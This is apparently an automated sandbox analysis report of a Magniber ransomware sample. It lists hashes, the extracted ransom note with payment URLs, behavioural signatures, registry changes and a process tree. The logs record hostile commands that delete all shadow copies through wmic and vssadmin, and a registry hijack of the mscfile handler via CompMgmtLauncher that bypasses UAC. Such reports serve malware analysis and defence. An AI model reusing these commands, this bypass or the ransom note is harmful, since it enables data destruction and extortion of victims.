Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
99s -
max time network
177s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
22/06/2021, 14:06
Static task
static1
Behavioral task
behavioral1
Sample
4.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
4.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
-
Target
4.exe
-
Size
21KB
-
MD5
191889cccd8827cb28b5cf9c3a559366
-
SHA1
c1a6bc0e5d66524eaefa935e9d1dca0c9223bead
-
SHA256
5301e5deb37674296e48d5873862ce32f934fbdfe1a7919f97bddb1138957e35
-
SHA512
6d3af286eaa1c3051a739edeaa5f5684f31ff0575082bcd1c2155acfa82657b06b70d7aefc55be3dc1f0877cd4ca77b13f9e53720f5123339bf85eb36bfdfcdf
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://2604a8602014c040e8uxkhdcf.ndkeblzjnpqgpo5o.onion/uxkhdcf
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://2604a8602014c040e8uxkhdcf.bejoin.space/uxkhdcf
http://2604a8602014c040e8uxkhdcf.lieedge.casa/uxkhdcf
http://2604a8602014c040e8uxkhdcf.wonride.site/uxkhdcf
http://2604a8602014c040e8uxkhdcf.lognear.xyz/uxkhdcf
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://2604a8602014c040e8uxkhdcf.ndkeblzjnpqgpo5o.onion/uxkhdcf
http://2604a8602014c040e8uxkhdcf.bejoin.space/uxkhdcf
http://2604a8602014c040e8uxkhdcf.lieedge.casa/uxkhdcf
http://2604a8602014c040e8uxkhdcf.wonride.site/uxkhdcf
http://2604a8602014c040e8uxkhdcf.lognear.xyz/uxkhdcf
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 10 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2124 916 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2140 916 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2156 916 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2164 916 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2132 916 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2708 916 vssadmin.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2816 916 vssadmin.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2848 916 vssadmin.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2868 916 vssadmin.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2944 916 vssadmin.exe 50 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\ConnectSet.crw => C:\Users\Admin\Pictures\ConnectSet.crw.uxkhdcf taskhost.exe File renamed C:\Users\Admin\Pictures\SelectPop.raw => C:\Users\Admin\Pictures\SelectPop.raw.uxkhdcf taskhost.exe File renamed C:\Users\Admin\Pictures\SelectRead.crw => C:\Users\Admin\Pictures\SelectRead.crw.uxkhdcf taskhost.exe File renamed C:\Users\Admin\Pictures\DenyRequest.png => C:\Users\Admin\Pictures\DenyRequest.png.uxkhdcf taskhost.exe File renamed C:\Users\Admin\Pictures\MergeProtect.tif => C:\Users\Admin\Pictures\MergeProtect.tif.uxkhdcf taskhost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1160 set thread context of 1128 1160 4.exe 14 PID 1160 set thread context of 1212 1160 4.exe 13 PID 1160 set thread context of 1264 1160 4.exe 12 -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2708 vssadmin.exe 2816 vssadmin.exe 2848 vssadmin.exe 2868 vssadmin.exe 2944 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{9B0D80A1-D362-11EB-A60E-EEAC38710E3B} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f00000000020000000000106600000001000020000000a1150e881766f75c5caef4432d1515180bdf273871b7fb816a9a589d6cb83ce2000000000e8000000002000020000000bf95ad630ee69ccdb1cb4a3bc40c438aa68cc445e95424629749ca5fc334b8f9200000004021555927034c07076bfab64af7f8c488d0cb4d34c07d475e52996e5b6fe35840000000a605a0bd80d1eea252e293322c850f85a4f1789e39b2e198ce7dc6e16517fd6f3092056a43735bf502d985c207be17990116884038214913c1c12ea20c1c65c5 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "331135578" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f00000000020000000000106600000001000020000000aea82815cf552ce79d9910e1af7d2e9ec2620124ce75cd2bcfe0681624988212000000000e8000000002000020000000e098d6905e684213d4704cdb5e7276533abb981d9c8dd0adb305fafaa0f4c10e900000000bfdc23d36d9f54c63391d4d909e77b29fa78b5ba7a4ab1f848e72246bfe5c64c5a5f1eaad78bd259dc2cfd4196d215ab88769986e40e573fac69720939ee7ec5573660cf186a33ab82594d08381ac95a03b8ff05b33c21f4b5028b09817e95902df367614c6a289f5ec1227a46b2fb8fb5b167c6f3f4414c18f0d79a941472f9e304abe02c8663d25b53e1ad9409044400000009c11f52ecf1f119e84f180efef46875dcf8c60c4f0119333941c86ebd4e47dd4f15dc8a9f01f2350e6621090ec3bfd5ab254a1a7c6a64971033f5744d647e5d5 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0734c736f67d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command 4.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" 4.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 2032 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1160 4.exe 1160 4.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1160 4.exe 1160 4.exe 1160 4.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeIncreaseQuotaPrivilege 432 WMIC.exe Token: SeSecurityPrivilege 432 WMIC.exe Token: SeTakeOwnershipPrivilege 432 WMIC.exe Token: SeLoadDriverPrivilege 432 WMIC.exe Token: SeSystemProfilePrivilege 432 WMIC.exe Token: SeSystemtimePrivilege 432 WMIC.exe Token: SeProfSingleProcessPrivilege 432 WMIC.exe Token: SeIncBasePriorityPrivilege 432 WMIC.exe Token: SeCreatePagefilePrivilege 432 WMIC.exe Token: SeBackupPrivilege 432 WMIC.exe Token: SeRestorePrivilege 432 WMIC.exe Token: SeShutdownPrivilege 432 WMIC.exe Token: SeDebugPrivilege 432 WMIC.exe Token: SeSystemEnvironmentPrivilege 432 WMIC.exe Token: SeRemoteShutdownPrivilege 432 WMIC.exe Token: SeUndockPrivilege 432 WMIC.exe Token: SeManageVolumePrivilege 432 WMIC.exe Token: 33 432 WMIC.exe Token: 34 432 WMIC.exe Token: 35 432 WMIC.exe Token: SeIncreaseQuotaPrivilege 1944 WMIC.exe Token: SeSecurityPrivilege 1944 WMIC.exe Token: SeTakeOwnershipPrivilege 1944 WMIC.exe Token: SeLoadDriverPrivilege 1944 WMIC.exe Token: SeSystemProfilePrivilege 1944 WMIC.exe Token: SeSystemtimePrivilege 1944 WMIC.exe Token: SeProfSingleProcessPrivilege 1944 WMIC.exe Token: SeIncBasePriorityPrivilege 1944 WMIC.exe Token: SeCreatePagefilePrivilege 1944 WMIC.exe Token: SeBackupPrivilege 1944 WMIC.exe Token: SeRestorePrivilege 1944 WMIC.exe Token: SeShutdownPrivilege 1944 WMIC.exe Token: SeDebugPrivilege 1944 WMIC.exe Token: SeSystemEnvironmentPrivilege 1944 WMIC.exe Token: SeRemoteShutdownPrivilege 1944 WMIC.exe Token: SeUndockPrivilege 1944 WMIC.exe Token: SeManageVolumePrivilege 1944 WMIC.exe Token: 33 1944 WMIC.exe Token: 34 1944 WMIC.exe Token: 35 1944 WMIC.exe Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeShutdownPrivilege 1264 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1108 WMIC.exe Token: SeSecurityPrivilege 1108 WMIC.exe Token: SeTakeOwnershipPrivilege 1108 WMIC.exe Token: SeLoadDriverPrivilege 1108 WMIC.exe Token: SeSystemProfilePrivilege 1108 WMIC.exe Token: SeSystemtimePrivilege 1108 WMIC.exe Token: SeProfSingleProcessPrivilege 1108 WMIC.exe Token: SeIncBasePriorityPrivilege 1108 WMIC.exe Token: SeCreatePagefilePrivilege 1108 WMIC.exe Token: SeBackupPrivilege 1108 WMIC.exe Token: SeRestorePrivilege 1108 WMIC.exe Token: SeShutdownPrivilege 1108 WMIC.exe Token: SeDebugPrivilege 1108 WMIC.exe Token: SeSystemEnvironmentPrivilege 1108 WMIC.exe Token: SeRemoteShutdownPrivilege 1108 WMIC.exe Token: SeUndockPrivilege 1108 WMIC.exe Token: SeManageVolumePrivilege 1108 WMIC.exe Token: 33 1108 WMIC.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 340 iexplore.exe 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE -
Suspicious use of SendNotifyMessage 6 IoCs
pid Process 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE 1264 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 340 iexplore.exe 340 iexplore.exe 1424 IEXPLORE.EXE 1424 IEXPLORE.EXE 1424 IEXPLORE.EXE 1424 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1128 wrote to memory of 2032 1128 taskhost.exe 26 PID 1128 wrote to memory of 2032 1128 taskhost.exe 26 PID 1128 wrote to memory of 2032 1128 taskhost.exe 26 PID 1128 wrote to memory of 760 1128 taskhost.exe 27 PID 1128 wrote to memory of 760 1128 taskhost.exe 27 PID 1128 wrote to memory of 760 1128 taskhost.exe 27 PID 1128 wrote to memory of 1180 1128 taskhost.exe 30 PID 1128 wrote to memory of 1180 1128 taskhost.exe 30 PID 1128 wrote to memory of 1180 1128 taskhost.exe 30 PID 1180 wrote to memory of 432 1180 cmd.exe 32 PID 1180 wrote to memory of 432 1180 cmd.exe 32 PID 1180 wrote to memory of 432 1180 cmd.exe 32 PID 760 wrote to memory of 340 760 WMIC.exe 34 PID 760 wrote to memory of 340 760 WMIC.exe 34 PID 760 wrote to memory of 340 760 WMIC.exe 34 PID 1212 wrote to memory of 1644 1212 Dwm.exe 35 PID 1212 wrote to memory of 1644 1212 Dwm.exe 35 PID 1212 wrote to memory of 1644 1212 Dwm.exe 35 PID 1264 wrote to memory of 1300 1264 Explorer.EXE 37 PID 1264 wrote to memory of 1300 1264 Explorer.EXE 37 PID 1264 wrote to memory of 1300 1264 Explorer.EXE 37 PID 1644 wrote to memory of 1944 1644 cmd.exe 39 PID 1644 wrote to memory of 1944 1644 cmd.exe 39 PID 1644 wrote to memory of 1944 1644 cmd.exe 39 PID 1300 wrote to memory of 1108 1300 cmd.exe 40 PID 1300 wrote to memory of 1108 1300 cmd.exe 40 PID 1300 wrote to memory of 1108 1300 cmd.exe 40 PID 1160 wrote to memory of 1836 1160 4.exe 43 PID 1160 wrote to memory of 1836 1160 4.exe 43 PID 1160 wrote to memory of 1836 1160 4.exe 43 PID 1160 wrote to memory of 1140 1160 4.exe 45 PID 1160 wrote to memory of 1140 1160 4.exe 45 PID 1160 wrote to memory of 1140 1160 4.exe 45 PID 1836 wrote to memory of 1632 1836 cmd.exe 48 PID 1836 wrote to memory of 1632 1836 cmd.exe 48 PID 1836 wrote to memory of 1632 1836 cmd.exe 48 PID 1140 wrote to memory of 760 1140 cmd.exe 49 PID 1140 wrote to memory of 760 1140 cmd.exe 49 PID 1140 wrote to memory of 760 1140 cmd.exe 49 PID 340 wrote to memory of 1424 340 iexplore.exe 51 PID 340 wrote to memory of 1424 340 iexplore.exe 51 PID 340 wrote to memory of 1424 340 iexplore.exe 51 PID 340 wrote to memory of 1424 340 iexplore.exe 51 PID 2140 wrote to memory of 2224 2140 cmd.exe 62 PID 2140 wrote to memory of 2224 2140 cmd.exe 62 PID 2140 wrote to memory of 2224 2140 cmd.exe 62 PID 2164 wrote to memory of 2300 2164 cmd.exe 63 PID 2164 wrote to memory of 2300 2164 cmd.exe 63 PID 2164 wrote to memory of 2300 2164 cmd.exe 63 PID 2156 wrote to memory of 2320 2156 cmd.exe 66 PID 2156 wrote to memory of 2320 2156 cmd.exe 66 PID 2156 wrote to memory of 2320 2156 cmd.exe 66 PID 2132 wrote to memory of 2332 2132 cmd.exe 64 PID 2132 wrote to memory of 2332 2132 cmd.exe 64 PID 2132 wrote to memory of 2332 2132 cmd.exe 64 PID 2124 wrote to memory of 2348 2124 cmd.exe 65 PID 2124 wrote to memory of 2348 2124 cmd.exe 65 PID 2124 wrote to memory of 2348 2124 cmd.exe 65 PID 2224 wrote to memory of 2504 2224 CompMgmtLauncher.exe 67 PID 2224 wrote to memory of 2504 2224 CompMgmtLauncher.exe 67 PID 2224 wrote to memory of 2504 2224 CompMgmtLauncher.exe 67 PID 2320 wrote to memory of 2520 2320 CompMgmtLauncher.exe 68 PID 2320 wrote to memory of 2520 2320 CompMgmtLauncher.exe 68 PID 2320 wrote to memory of 2520 2320 CompMgmtLauncher.exe 68
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:1632
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:760
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1108
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1944
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:2032
-
-
C:\Windows\system32\cmd.execmd /c "start http://2604a8602014c040e8uxkhdcf.bejoin.space/uxkhdcf^&1^&47753674^&86^&357^&12"2⤵PID:760
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://2604a8602014c040e8uxkhdcf.bejoin.space/uxkhdcf&1&47753674&86&357&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:340 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:340 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1424
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:432
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2348
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2596
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2224 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2504
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2520
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2300
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2572
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2332
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2684
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2708
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2816
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2848
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2868
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2944
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2968